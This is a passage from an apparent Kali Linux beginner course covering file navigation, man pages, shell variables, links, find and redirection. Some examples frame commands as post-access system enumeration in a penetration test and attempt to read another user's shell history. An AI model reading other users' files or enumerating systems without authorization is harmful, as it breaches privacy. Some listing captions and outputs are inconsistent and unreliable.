from one directory to another. Running "cd <directory_name>" will
take us inside of "<directory_name>" within the current folder, if
it exists.
Let's try maneuvering around some directories.
kali@kali:~$ pwd
/home/kali
kali@kali:~$ cd Documents
kali@kali:~/Documents$ pwd
/home/kali/Documents
kali@kali:~/Documents$ cd doesnotexist
cd: no such file or directory: /doesnotexist
kali@kali:~/Documents$
Listing 3 - Changing directories.
Here we use pwd to show the current directory and then
cd to move into the Documents directory. We're
unable to move into the doesnotexist directory because, this
made up directory, it does not exist.
To move up one directory, we can use cd with two periods, to
indicate the directory above the one we are currently in.
Let's do that now to return to the /home/kali directory.
kali@kali:~/Documents$ cd ..
kali@kali:~$ pwd
/home/kali
kali@kali:~$
Listing 3 - Changing directories.
While we are beginning to understand directories, we need to note that
we can refer to files and directories in two different ways. We can
refer to their location with either an absolute path or a relative
path.
An absolute path is used to reference a file or directory starting
with the root directory (/). For example, if we would like
to print the contents of the passwd file, which exists inside
etc/ that is in the root directory /, then we can
reference it using /etc/passwd. We can do this no matter what
the current directory is.
kali@kali:~/Documents/drafts/$ file /etc/passwd
/etc/passwd: ASCII text
kali@kali:~/Documents/drafts/$ cd ~
kali@kali:~$ file /etc/passwd
/etc/passwd: ASCII text
Listing 4 - Referencing a file using its absolute path.
Here, we ran the same command, which checks what type of
file passwd is, twice. We ran it once from the
/Documents/drafts folder and once from the "root" folder.
Because we used an absolute path, the results are the same.
A relative path, on the other hand, is a location relative to our
current working directory. As we change locations and move from one
directory to another, the relative path will also change. In order
to address the same passwd file in a relative directory path
format, we need to first know our current working directory. We can
run pwd again for that information.
kali@kali:~$ pwd
/home/kali
Listing 5 - Current directory.
Currently, we are inside the "root" directory (/home/kali).
The passwd file is inside the /etc folder. To
get to it, we will need to go two directories "up" from our current
directory and then into the /etc folder. We can reference
the file using ../../etc/passwd. The two periods (..)
represent the directory one level up from our current location, so
../../ means we are moving two directories up.
kali@kali:~$ file ../../etc/passwd
/etc/passwd: ASCII text
kali@kali:~$ cd Documents
kali@kali:~/Documents$ file ../../etc/passwd
../../etc/passwd: cannot open `../../etc/passwd' (No such file or directory)
Listing 6 - Referencing a file using its relative path.
Once again, we're running the same command twice. The first time
it is successful, but when we change locations and then run it from a
new location, Kali can't find the file and we get different results.
One useful feature about shell environments is that they store the
current user home directory path (if it is set), and we can easily
reference it using the tilde (~) symbol. This means that if we are
inside any directory and we want to quickly jump back to our home
directory, we could use cd ~. We've done this already in
Listing 4, but let's practice it one more time.
kali@kali:/etc$ pwd
/etc
kali@kali:/etc$ cd ~
kali@kali:~$ pwd
/home/kali
Listing 7 - Referencing the home directory using ~.
The ls command prints out a basic file listing to the screen.
We can also add options after a command to change its output or how it
functions. For example, the -1 option displays each file on
its own single line, which can be very useful for automation.
kali@kali:~$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos
kali@kali:~$ ls /etc/apache2/sites-available/*.conf
/etc/apache2/sites-available/000-default.conf
/etc/apache2/sites-available/default-ssl.conf
kali@kali:~$ ls -1
.
..
Desktop
file1
file2
Directory1
...
Listing 8 - Listing files.
The output includes a combination of files and folders
named Desktop, file1, etc.
Another common option with ls is the -la option,
which uses a long listing format and includes all files, even hidden
ones.
kali@kali:~$ ls -la
total 120
drwxr-xr-x 14 kali kali 4096 Jun 23 15:47 .
drwxr-xr-x 3 root root 4096 Jun 23 15:07 ..
-rw-r--r-- 1 kali kali 220 Jun 23 15:07 .bash_logout
-rw-r--r-- 1 kali kali 5349 Jun 23 15:07 .bashrc
-rw-r--r-- 1 kali kali 3526 Jun 23 15:07 .bashrc.original
drwxr-xr-x 6 kali kali 4096 Jun 23 15:09 .cache
drwx------ 8 kali kali 4096 Jun 23 15:09 .config
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Desktop
-rw-r--r-- 1 kali kali 55 Jun 23 15:47 .dmrc
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Documents
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Downloads
...
Listing 9 - Listing files with options.
There are additional options that we can use with ls and there are
several resources[28] that explore this in further detail. Linux also
includes a manual for this command and others. We will cover how to
find and explore these later.
There are several commands that can be used to print the content of
a given file to the screen. We can use cat, more,
less, head, and tail to output text to the
terminal. It's useful to be familiar with all of them, since each one
can be useful in different contexts.
The cat program allows us to read a file's content,
and it offers some useful options to filter output. For example,
the -n option will output the file's content as well as
demonstrate the file's number lines.
kali@kali:~$ cat file
this
is
a
file
that
has
many
lines
kali@kali:~$ cat -n file
1 this
2 is
3 a
4 file
5 that
6 has
7 many
8 lines
Listing 10 - Concatenating files with and without -n.
more is a simple program that is used to view text files at
the command prompt, displaying one screen at a time if the file is
large.
less is actually a complete version of more, with
more options. It allows navigation both forward and backward through
the file. The +F option tells less to watch the file
contents for changes. This can be useful when monitoring log files,
for example.
head allows us to print the top N number of lines from a
file. For example, if we wanted to only display the first three lines
of a file then we could do so using head -n 3 file.txt. We
might do this when looking at configuration files where we know we're
interested in only the top lines.
tail is just the opposite. It prints out the last N lines
of a file. We often can use tail to output log files. The syntax is
similar to that of head, tail -n 3 file.txt. Since logs get
written to with the most recent events at the bottom, tail can give us
a quick idea of what is going on.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 45 minutes to complete.
Many Linux programs have built in manuals, also known as man
pages. We can use the man command to open up a man
page in our terminal window. Generally, each man page will have a
name, a synopsis, a description of the command's purpose, and the
corresponding options, parameters, or switches.
For example, we can open the man page for ls with the
following command:
kali@kali:~$ man ls
LS(1) User Commands LS(1)
NAME
ls - list directory contents
SYNOPSIS
ls [OPTION]... [FILE]...
DESCRIPTION
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor --sort is
specified.
Mandatory arguments to long options are mandatory for short options too.
-a, --all
do not ignore entries starting with .
-A, --almost-all
do not list implied . and ..
--author
with -l, print the author of each file
-b, --escape
print C-style escapes for nongraphic characters
--block-size=SIZE
with -l, scale sizes by SIZE when printing them; e.g., '--block-size=M'; see SIZE format below
-B, --ignore-backups
do not list implied entries ending with ~
...
Listing 11 - Viewing the manual for ls
Man pages contain information about user commands, and also
documentation regarding system administration commands, programming
interfaces, and more. Manuals are categorized by several numbered
sections.
| Section | Contents |
|---|---|
| 1 | User Commands |
| 2 | Programming interfaces for kernel system calls |
| 3 | Programming interfaces to the C library |
| 4 | Special files such as device nodes and drivers |
| 5 | File formats |
| 6 | Games and amusements such as screen-savers |
| 7 | Miscellaneous |
| 8 | System administration commands |
Table 1 - man page organization
To determine the appropriate manual section, we can perform a keyword
search. For example, let's assume we are interested in learning a
bit more about the file format of the /etc/passwd file.
Typing man passwd at the command-line will show information
regarding the passwd command from section 1 of the manual,
which is not what we are interested in.
kali@kali:~$ man passwd
PASSWD(1) User Commands PASSWD(1)
NAME
passwd - change user password
SYNOPSIS
passwd [options] [LOGIN]
DESCRIPTION
The passwd command changes passwords for user
accounts. A normal user may only change the password
for their own account, while the superuser may change
the password for any account. passwd also changes the
account or associated password validity period.
...
Listing 12 - Attempting to find information on /etc/passwd
However, if we use the -k option with man, we can
perform a keyword search as shown below.
kali@kali:~$ man -k passwd
chgpasswd (8) - update group passwords in batch mode
chpasswd (8) - update passwords in batch mode
exim4_passwd (5) - Files in use by the Debian exim4 packages
exim4_passwd_client (5) - Files in use by the Debian exim4 packages
expect_mkpasswd (1) - generate new password, optionally apply it to a user
fgetpwent_r (3) - get passwd file entry reentrantly
getpwent_r (3) - get passwd file entry reentrantly
gpasswd (1) - administer /etc/group and /etc/gshadow
grub-mkpasswd-pbkdf2 (1) - generate hashed password for GRUB
htpasswd (1) - Manage user files for basic authentication
...
Listing 13 - Performing a passwd keyword search with man
We can narrow the search with the help of a regular expression.
kali@kali:~$ man -k '^passwd$'
passwd (1) - change user password
passwd (1ssl) - compute password hashes
passwd (5) - the password file
Listing 14 - Narrowing down our search
In this command, the regular expression is enclosed by a caret
(^) and dollar sign ($), to match the entire line
and avoid sub-string matches.
From the results we notice that the content we're searching for is in
section 5 of the passwd man page. We can execute the man
command again, this time referencing the appropriate section.
kali@kali:~$ man 5 passwd
PASSWD(5) File Formats and Conversions PASSWD(5)
NAME
passwd - the password file
DESCRIPTION
/etc/passwd contains one line for each user account,
with seven fields delimited by colons (“:”). These
fields are:
• login name
• optional encrypted password
• numerical user ID
• numerical group ID
• user name or comment field
• user home directory
• optional user command interpreter
...
Listing 15 - Using man to look at the
manual page of the /etc/passwd file format
Man pages are typically the quickest way to find detailed
documentation on a given command. Sometimes we're simply interested
in getting a basic understanding of how to use a command. For this
reason, many Linux commands include a -h or --help option that
displays the command's usage, or help information.
kali@kali:~$ more -h
Usage:
more [options] <file>...
A file perusal filter for CRT viewing.
Options:
-d, --silent display help instead of ringing bell
-f, --logical count logical rather than screen lines
-l, --no-pause suppress pause after form feed
-c, --print-over do not scroll, display text and clean line ends
-p, --clean-print do not scroll, clean screen and display text
-s, --squeeze squeeze multiple blank lines into one
-u, --plain suppress underlining and bold
-n, --lines <number> the number of lines per screenful
-<number> same as --lines
+<number> display file beginning from line number
+/<pattern> display file beginning from pattern match
-h, --help display this help
-V, --version display version
For more details see more(1).
Listing 16 - Viewing the help info for more
In Listing 16, we use the -h option to view all
of more's options.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 60 minutes to complete.
Since there are many distributions and flavors of Linux, the Linux
Foundation has developed a standard called the Filesystem Hierarchy
Standard (FHS).[29] The FHS exists so that when users
interact with an unfamiliar Linux environment, they can still find
their way around the machine.
The FHS defines the purpose of each main directory on a Linux system.
The top-level directories are described as follows.
/bin/: basic programs
/boot/: Linux kernel and other files required for its early
boot process
/dev/: device files
/etc/: configuration files
/home/: user's personal files
/lib/: basic libraries
/media/: mount points for removable devices (CD/DVD-ROM,
USB keys, and so on)
/mnt/ or /mount/: temporary mount point
/opt/: extra applications provided by third parties
/root/: administrator's (root's) personal files
/run/: volatile runtime data that does not persist across
reboots (not yet included in the FHS)
/sbin/: system programs
/srv/: data used by servers hosted on this system
/tmp/: temporary files (this directory is often emptied at
boot)
/usr/: applications (this directory is further subdivided
into bin, sbin, lib according to the same
logic as in the root directory) Furthermore, /usr/share/
contains architecture-independent data. The /usr/local/
directory is meant to be used by the administrator for installing
applications manually without overwriting files handled by the
packaging system (dpkg).
/var/: variable data handled by services. This includes log
files, queues, spools, and caches.
/proc/ and /sys/ are specific to the Linux kernel
(and not part of the FHS). They are used by the kernel for exporting
data to user space.
An in-depth exploration of each of these directories' functions is
beyond the scope of this Module. For now, it is important only to
understand what kind of files they house at a high level. One of the
most important directories from a user's perspective (and therefore
from a security perspective) is the /home directory, so let's
turn our attention there.
The contents of a user's home directory are not standardized,
but there are still a few noteworthy conventions. As mentioned
previously, we can refer to the user's home directory with the tilde
(~) symbol. That is useful to know because command interpreters
automatically replace a tilde with the correct directory (which is
stored in the HOME environment variable, and whose usual value is
/home/user/).
Traditionally, application configuration files are stored directly
under one's home directory, but the filenames usually start with a
dot, which makes them hidden (as discussed previously). In addition,
some programs use multiple configuration files organized in one
directory (for instance, ~/.ssh/).
Graphical desktops usually have shortcuts to display the contents of
the ~/Desktop/ directory. Finally, the email system sometimes
stores incoming emails into a ~/Mail/ directory.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
For the sake of this Learning Unit we will use the Zsh shell. We
highly encourage you to experiment with different shells as you
continue your study.
To know which shell environment we are operating under, we can use the
echo command with the text "$SHELL" as input.
kali@kali:~$ echo $SHELL
/usr/bin/zsh
Listing 17 - Using the echo command to output the contents
of the $SHELL variable.
The output in Listing 17 shows that we are operating
under the Zsh environment. Notice the dollar ($) sign preceding the
word "SHELL" in the input. This indicates that "SHELL" is the name of
a variable. By invoking the variable's name, we can get its value.
In general, a variable is a name:value pair. We can create a new
shell variable called offsec, which stores the value "123"
by using the offsec=123 command. Once we hit I, the
variable is going to be stored. We can then reference it using the
echo $offsec command.
kali@kali:~$ offsec=123
kali@kali:~$ echo $offsec
123
kali@kali:~$ echo offsec
offsec
Listing 18 - Setting a shell variable
Note that when we echo the word "offsec" without the dollar
sign, Zsh just interprets it as a regular string. Our offsec
variable is now set and stored, but only exists for the current shell
environment. In other words, if we were to close our terminal and then
open a new one, $offsec would no longer hold the value "123".
kali@kali:~$ echo $offsec
kali@kali:~$
Listing 19 - Demonstrating shell variables' locality
Some variables, like $SHELL, are environment variables.
Environment variables exist beyond the shell in which they
are created. In other words, the value of $SHELL is
globally recognized across the machine. $SHELL does not
necessarily reflect the currently running shell environment. Instead,
$SHELL is just the name of the user's preferred shell, and
it is typically identified in the /etc/passwd file. There are
many other default environment variables, which can be explored using
the set command.
kali@kali:~$ set
'!'=0
'#'=0
'$'=1235
'*'=( )
...
MODULE_PATH=/usr/lib/x86_64-linux-gnu/zsh/5.8
NULLCMD=cat
OLDPWD=/home/kali
OPTARG=''
OPTIND=1
OSTYPE=linux-gnu
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
...
SHELL=/usr/bin/zsh
...
Listing 20 - The output of set command.
The output includes the $SHELL variable.
Another useful feature offered in modern shell environments is the
ability to consult the history of commands typed by users. In this
case, Zsh stores history information in the file indicated by the
$HISTFILE variable.
kali@kali:~$ echo $HISTFILE
/home/kali/.zsh_history
Listing 21 - The HISTFILE variable value.
Since the Linux system can manage multiple users, each user has their
own .zsh_history file and restricted permissions are set on
it such that no other user can read other users' histories without
explicit permission.
kali@kali:~$ whoami
kali
kali@kali:~$ pwd
/home/kali
kali@kali:~$ cat /home/user2/.zsh_history
cat: /home/user2/.zsh_history: Permission denied
Listing 22 - Trying to read another user's .zsh_history file.
We can explore the history[30] of commands
run by the current user by with the history command, or by
printing out the ~/.zsh_history file itself.
kali@kali:~$ history
example_command1
example_command2
example_command3
...
kali@kali:~$ cat ~/.zsh_history
example_command1
example_command2
example_command3
...
Listing 23 - Reading current user history.
Several other features allow that allow a user to use shells like Zsh
to optimize user workflows. Aliases[31] for example, can be used
as shortcuts to other commands. If we want to run the ls -la
command many times, we can create a shortcut for it as ll.
kali@kali:~$ alias ll='ls -la'
kali@kali:~$ ll
total 40
drwxrwxrwt 10 root wheel 320 Apr 24 13:19 .
drwxr-xr-x 6 root wheel 192 Mar 18 20:10 ..
-rw-r--r--@ 1 kali wheel 0 Apr 21 19:56 MozillaUpdateLock-2656FF1E876E9973
-rw-r--r-- 1 kali wheel 10 Apr 21 15:18 a
...
Listing 24 - Setting an alias
Aliases can be either temporary or permanent. Temporary aliases are
not persistent between shells, so if we were to set an alias in one
shell, and then open a new shell environment, the new environment will
not contain the alias. Permanent aliases are persistent across shells,
even after the system reboots.
In Listing 24, we set up a temporary alias. If instead we
want to create a persistent one, then we can do so by modifying the
~/.zshrc file to include the line alias ll='ls -la'.
Once that is done, we would run source ~/.zshrc to reset the
shell environment and to accommodate the new alias. We should then be
able to run ll directly.
In a penetration testing scenario, once we obtain access to a
target, one of the first things we might want to do is called system
enumeration. This is a fancy term for information gathering about
the system to better understand the machine we've attacked, often to
elevate our permissions.
We can get the version of the distribution by reading the
/etc/issue file.
kali@kali:~$ cat /etc/issue
Kali GNU/Linux Rolling \n \l
Listing 25 - Finding the distribution version
To get more than just the distribution version of the system, we can
use the uname command. Invoking uname without any options
is equivalent to using the -s option, which prints out the
kernel name.
kali@kali:~$ uname
Linux
Listing 26 - Printing the machine's kernel name
To get information about the kernel version, we can add the
-v option.
kali@kali:~$ uname -v
#1 SMP Debian 5.9.1-1kali2 (2020-10-29)
Listing 27 - Printing the machine's kernel version
If we wanted to get the kernel release we can use the -r
option.
kali@kali:~$ uname -r
5.9.0-kali1-amd64
Listing 28 - Printing the machine's kernel release
Finally, we can print all the information accessible by uname
with the -a option.
kali@kali:~$ uname -a
Linux academy 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux
Listing 29 - Printing all the information accessible by uname
There are many other programs, commands, and files from which we can
determine much more information, and we'll cover many of them as we
continue along this Module and learning path.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
We can create an empty file with the touch command by
providing the file name as an argument. If the file already exists,
the touch command will only modify the accessed timestamp of the file,
but will leave the contents alone.
kali@kali:~$ touch newfile
kali@kali:~$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jun 11 09:27 newfile
Listing 30 - Creating an empty file with touch
In Listing 30, we created an empty file called
newfile, and then list it out in the directory with the
ls -l command. If we wanted to delete or remove the file,
we could use the rm command.
kali@kali:~$ rm newfile
kali@kali:~$ ls
kali@kali:~$
Listing 31 - Removing a file with rm
It's important to note that once a file is deleted, it is deleted.
We won't have an opportunity to undo this if we made a mistake.
Deleting a Linux file via the command-line removes it permanently,
unlike a GUI based "recycle bin" on Windows or "Trash" on a mac.
Always make sure to double check syntax before using rm.
To make a directory, we can use the mkdir command followed by
the desired name of the directory. Directory names can contain spaces
but since we will be spending a lot of time at the command-line, we
can save ourselves a lot of trouble by using hyphens or underscores
instead. These characters will also make auto-completes (executed with
the A key) much easier to use.
kali@kali:~$ mkdir newdir
kali@kali:~$ ls -l
total 4
drwxr-xr-x 2 kali kali 4096 Jun 11 09:31 newdir
-rw-r--r-- 1 kali kali 0 Jun 11 09:27 newfile
Listing 32 - Creating an empty directory with mkdir
We can delete a directory with the rmdir command, as long as
it's empty.
kali@kali:~$ rmdir newdir
kali@kali:~$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jun 17 09:27 newfile
Listing 33 - Deleting an empty directory with rmdir
To move a file to a different directory, we can use the mv
command.
kali@kali:~$ mv newfile newdir2
kali@kali:~$ ls -lR
.:
total 4
drwxr-xr-x 2 kali kali 4096 Jun 17 09:37 newdir2
./newdir2:
total 0
-rw-r--r-- 1 kali kali 0 Jun 17 09:27 newfile
Listing 34 - Deleting an empty directory with rmdir
In Listing 35, we move the newfile file to the
newdir2 directory. We then use ls -lR to list the
contents of both of our home directory, as well as newdir2.
We can also use mv to rename a file, by moving it within
the current working directory. For example, if we wanted to rename
offsec.txt to offsec123.txt then we can do so as
follows.
kali@kali:~$ touch offsec.txt
kali@kali:~$ ls
offsec.txt
kali@kali:~$ mv offsec.txt offsec123.txt
kali@kali:~$ ls
offsec123.txt
Listing 36 - Renaming a file with mv
The same applies for directories, meaning that if we want to rename
a directory named offsecdir to offsecdir123 then we
can use the following.
kali@kali:~$ mkdir offsecdir
kali@kali:~$ ls
offsecdir
kali@kali:~$ mv offsecdir offsecdir123
kali@kali:~$ ls
offsecdir123
Listing 37 - Renaming a directory with mv
Sometimes we might want to rename or move a file, but also preserve
the original. We can do this with the cp command, which
can be used to copy files within the same directory or into other
directories.
kali@kali:~$ cat hi.txt
hello
kali@kali:~$ cp hi.txt bye.txt
kali@kali:~$ cat bye.txt
hello
kali@kali:~$ ls
bye.txt hi.txt
Listing 38 - Copying a file with cp
In Listing 38 we use cat to view the contents
of the hi.txt file. We then use cp to copy the
contents into a new file called bye.txt. Finally, ls
demonstrates that both files are present in the current directory.
Now that we now how to create, delete, move, rename, and copy basic
files, let's learn about a special kind of file called a symbolic
link, or symlink. A symbolic link is just a shortcut that points to
the original file or directory.
There are two kinds of symlinks: soft links, and hard links. Soft
links allow us to "mirror" the contents of the original file into
a new one. This means that if we were to modify the original file,
then the symlink file would be modified as well.
Let’s experiment with this. First, let's create a file using
touch, and then use echo to write text to the file.
We will talk more about what the greater-than (>) symbol does in a
later section. Finally, we use cat to check the content of
the file.
kali@kali:~$ touch original.txt
kali@kali:~$ echo 'hello world' > original.txt
kali@kali:~$ cat original.txt
hello world
Listing 39 - Creating a file with content in it.
Now that the file is created, let’s move to the /tmp/
directory using with cd. We'll then use ln
with the -s option to create a soft symlink pointing at
original.txt. Last, we use the ls -la command to
observe the new symlink.
kali@kali:~$ cd /tmp
kali@kali:/tmp$ ln -s ~/original.txt symlink.txt
kali@kali:/tmp$ ls -la
lrwxrwxrwx 1 kali kali 21 Jun 3 17:43 symlink.txt -> /home/kali/original.txt
Listing 40 - Creating a soft symbolic link.
Let’s confirm the contents of the symlink include "hello world". Then,
we'll change the contents of original.txt by overwriting
it with new input, using echo. Finally, we'll print out the
contents of the symlink with cat, and observe the results.
kali@kali:/tmp$ cat symlink.txt
hello world
kali@kali:/tmp$ echo 'goodbye planet' > ~/original.txt
kali@kali:/tmp$ cat symlink.txt
goodbye planet
Listing 41 - Viewing and modifying the content of the symbolic link.
Later, we'll learn about the concept of file permissions. Note
that if we set different file permissions on either the original file
or the symlink, the mirrored file's permissions will not change.
We leave it as a research exercise to find out why (hint: inode).
Hard links are copies of the original file, but more accurately, they
are exact mirrors of the original file. Let's experiment.
First, let’s create a file named offsec123.txt in the current
user’s home directory using touch. Then we'll write some text
inside the file using echo again.
kali@kali:~$ touch offsec123.txt
kali@kali:~$ echo 'This is a test.' > offsec123.txt
Listing 42 - Creating a file with content in it.
Now with the file created, let's move to the /tmp/ directory
using cd, and then create a hard link with ln.
Notice we are not using any options. We then will run cat to
check that both files contain the same content.
kali@kali:~$ cd /tmp
kali@kali:/tmp$ ln ~/offsec123.txt hardlink.txt
kali@kali:/tmp$ ls -la
-rw-r--r-- 2 kali kali 5 Jun 3 17:49 hardlink.txt
Listing 43 - Creating a hard symbolic link.
Next, we will use rm to delete the original file.
kali@kali:~$ rm offsec123.txt
kali@kali:~$ cd /tmp
kali@kali:/tmp$ cat hardlink.txt
This is a test.
Listing 44 - Deleting the hard symbolic link.
It's interesting to note that when we view /tmp/'s directory
listing, the hardlink.txt still exists. Furthermore, when we
output the file using cat, we will still read the original
contents.
Wildcard[32] characters allow us to reference a large
set of files at once, and help manage files on the command-line (among
other tasks). The most common wildcard character is the asterisk
(*), which represents zero or more characters. Let's explore
some use-cases to better understand the concept.
The following command will display all files in the current directory
that begin with the letter "a".
kali@kali:~$ ls -l a*
-rw-r--r-- 1 root wheel 515 Jun 6 2020 afpovertcp.cfg
lrwxr-xr-x 1 root wheel 15 Mar 9 20:49 aliases -> postfix/aliases
-rw-r----- 1 root wheel 16384 Jun 6 2020 aliases.db
-rw-r--r-- 1 root wheel 1051 Jun 6 2020 asl.conf
-rw-r--r-- 1 root wheel 149 Oct 30 08:55 auto_home
-rw-r--r-- 1 root wheel 195 Oct 30 08:55 auto_master
-rw-r--r-- 1 root wheel 1935 Oct 30 08:55 autofs.conf
...
Listing 45 - Listing specific files using *.
Essentially, the string "a*" tells the command-line to include
every file that meets the condition "a, then any zero or more
characters".
The wildcard operator can be used with other programs like mv, cp,
and rm.
In this section, we'll explore how to find files within a Linux
system. The three most common commands used to locate files in
Kali Linux are find,[33] locate,[34] and
which.[35] These utilities are similar, but they work
and return data in different ways, so they are useful in different
circumstances.
The which command searches through the directories that are defined in
the $PATH environment variable for a given file name.
If a match is found, which returns the full path to the file.
kali@kali:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
kali@kali:~$ which sbd
/usr/bin/sbd
Listing 46 - Exploring the which command
The locate command is the quickest way to find the location of files
or directories in Kali. To provide a much shorter search time, locate
searches a built-in database named locate.db rather than
the entire hard disk itself. This database is automatically updated
regularly by an automated task.
Let's use locate to find the path to the whoami.exe
binary on kali.
kali@kali:~$ locate whoami.exe
/usr/share/windows-resources/binaries/whoami.exe
Listing 47 - Exploring the locate command
The find program enables us to walk a file hierarchy recursively in
order to search for files and directories. It takes many arguments and
the usage can be very complex. Some of its key options are:
-name - Search by filename or directory name (case
sensitive).
-iname - Search by filename or directory name (case
insensitive).
-type f/d/l/s - Search by type which can be (files,
directories, links or sockets)
-size - Search by file or directory size.
-mtime - Search using the last modified date criteria.
-o - Allows us to combine multiple values of the same argument.
-user - Find files and directories based on their owner.
Let's review a few examples of use cases for find.
To search for a file named offsec.txt in the root
directory recursively, we would use: find / -name offsec.txt -type
f
To search for a JPG file in the current directory
recursively, we would use: find . -name "*.jpg"
To search for all .txt files owned by the kali user
that are more than 1MB in size: find / -user kali -size 1M -type f
-name "*.txt"
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
In this section we will be focusing on piping and
redirection[36] in a Linux shell. These features
will allow us to combine more commands to achieve more
flexible and versatile outcomes.
It is important to understand that every program that runs on the
command-line in Linux-based systems automatically has three data
streams[37] connected to it. Each data stream is also
assigned a file descriptor integer value:
STDIN (0): This is the standard input on which data is fed
into the program. Essentially, this is the part of the terminal
accepting the text we type in.
STDOUT (1): The standard output on the other hand is just how
data is printed by the program, which defaults to the terminal.
STDERR (2): Lastly, standard error is for error messages,
which also gets printed to the terminal by default.
Piping and redirection are means by which we may connect these
streams between different programs and files to direct data in ways
we want them to flow. For example, we might want to use the STDOUT of
program1 as the STDIN of program2.
There are different symbols for piping and data redirection and we
will introduce them one by one.
We already saw the > operator earlier when we wanted to
write text to a file with echo. > allows us to
redirect and save the output of one program on the STDOUT stream to a
file instead of the default behavior of printing it to the screen.
kali@kali:~$ echo hello
hello
kali@kali:~$ echo hello > file.txt
kali@kali:~$ cat file.txt
hello
Listing 48 - Simple example of redirecting to a new file
When we run the command echo hello, we print "hello" to
standard output (i.e. the terminal). But when we use echo hello >
file.txt, "hello" gets printed to file.txt instead.
Let's say we want to save the listing of files from the ls
program to a file called listing.txt. We can do so with the
following command.
kali@kali:~$ ls -lah > listing.txt
kali@kali:~$ cat listing.txt
total 1056
drwxr-xr-x 85 root wheel 2.7K Apr 19 17:41 .
drwxr-xr-x 6 root wheel 192B Mar 18 20:10 ..
-rw-r--r-- 1 root wheel 515B Jun 6 2020 afpovertcp.cfg
lrwxr-xr-x 1 root wheel 15B Mar 9 20:49 aliases -> postfix/aliases
-rw-r----- 1 root wheel 16K Jun 6 2020 aliases.db
...
Listing 49 - Redirecting to a new file.
In Listing 49, we observe that the output of ls
-lah gets written to the file listing.txt, instead of
directly to the terminal.
If we redirect the output to a non-existent file, the file will
be created automatically. Notice however, that if the file already
exists, our redirect will replace the file's content. We'll need to be
careful with redirection since there is no undo function.
To append additional data to an existing file (as opposed to
overwriting the file), we will use the >> operator.
kali@kali:~$ cat redirection_test.txt
Kali Linux is an open source project
kali@kali:~$ echo "that is maintained and funded by OffSec" >> redirection_test.txt
kali@kali:~$ cat redirection_test.txt
Kali Linux is an open source project
that is maintained and funded by OffSec
Listing 50 - Redirecting the output to an existing file
In Listing 50, the new text is appended to a new line
inside the referenced file.
Where > lets us write the output of a program as the input to a
file, the < operator allows us to read a file and use its output
as the input to a program.
kali@kali:~$ wc -m < test.txt
89
Listing 51 - Redirecting from a file.
In Listing 51, we feed the contents of
text.txt to the program wc, which when invoked with
the -m option counts the number of characters in a file.
We can also redirect error messages. Let's try running ls on
a file that does not exist and observe what happens.
kali@kali:~$ ls -lah filethatdoesnotexist.txt
ls: filethatdoesnotexist.txt: No such file or directory
Listing 52 - STDERR
In Listing 52, we try to run ls on
filethatdoesnotexist.txt and receive an error message. Even
though both standard output and standard error appear on the terminal,
they are actually separate data streams. This means we cannot use >
to redirect the output of Listing 52 to a file. (Try
it out. What happens?)
To redirect errors instead of a program's output to a file, we use the
2> operator.
kali@kali:~$ ls -lah filethatdoesnotexist.txt 2> errors.txt
kali@kali:~$ cat errors.txt
ls: filethatdoesnotexist.txt: No such file or directory
Listing 53 - Redirecting STDERR
The file descriptor for STDERR is 2. Therefore, the 2>
operator will allow us to redirect the error output of a program as
the input to a file, just as > lets us use the normal output
of a program as the input to a file. In fact, > can be
considered a convenient short form of 1>.
So far, we've been redirecting data from programs to files or vice
versa, using > and < respectively. We can also
use the output from one program as the input to a second program via
piping with the | symbol.
Let’s say we want to find out how many files are in our current
working directory. To do this, we can use a combination of ls
and wc.
kali@kali:~$ ls -l
total 32
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Desktop
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Documents
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Downloads
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Music
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Pictures
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Public
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Templates
drwxr-xr-x 2 kali kali 4096 Jun 23 15:09 Videos
kali@kali:~$ ls -l | wc -l
9
Listing 54 - Redirecting STDERR using a Combination of ls and wc
We used the output of ls -l as the input to wc -l.
We will need to subtract 1 from the result to get the true number of
files, since the first line of output does not represent a file.
Note that the total number at the top of the results for ls -l
is the total number of file system blocks, including indirect blocks,
used by the listed files and not the total number of files listed.
Another use case might be to sort the output of ls
alphabetically, which we can do with sort.[38]
kali@kali:~$ ls | sort
afpovertcp.cfg
aliases
aliases.db
apache2
asl
asl.conf
...
Listing 55 - Piping STDOUT to STDIN
Combined with other programs and options, piping can get very complex,
but this is also what makes it extremely powerful.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 60 minutes to complete.
We can improve our ability to search for and manipulate files
and text by learning a few more commands. In this section, we'll
focus on grep[39], sed[40],
cut[41] and awk[42]. Each one of
these tools is extremely powerful and can be quite complex, so we will
only scratch the surface here.
To take advantage of these tools, it's helpful to know a bit about
how regular expressions (regex) work. A regular expression is
a special text string for describing a search pattern. There are a
number of excellent resources online that go into further detail on
regular expressions.[43]^,[44]^,[45]^,[46]
grep searches text files for a given regular expression and outputs
any line containing a match to the standard output, which is usually
the terminal screen.
Some of the most commonly used options with grep include
-r for recursive searching in a directory, and -i to
ignore text case.
Let's quickly do an example. First, we'll list all of the files and
directories in the /usr/bin directory with ls. We'll
use the -la option to put each entry on its own line and to
include hidden files. Then we'll pipe the output into grep
and search files or directories for the string "zip" as part of the
file name.
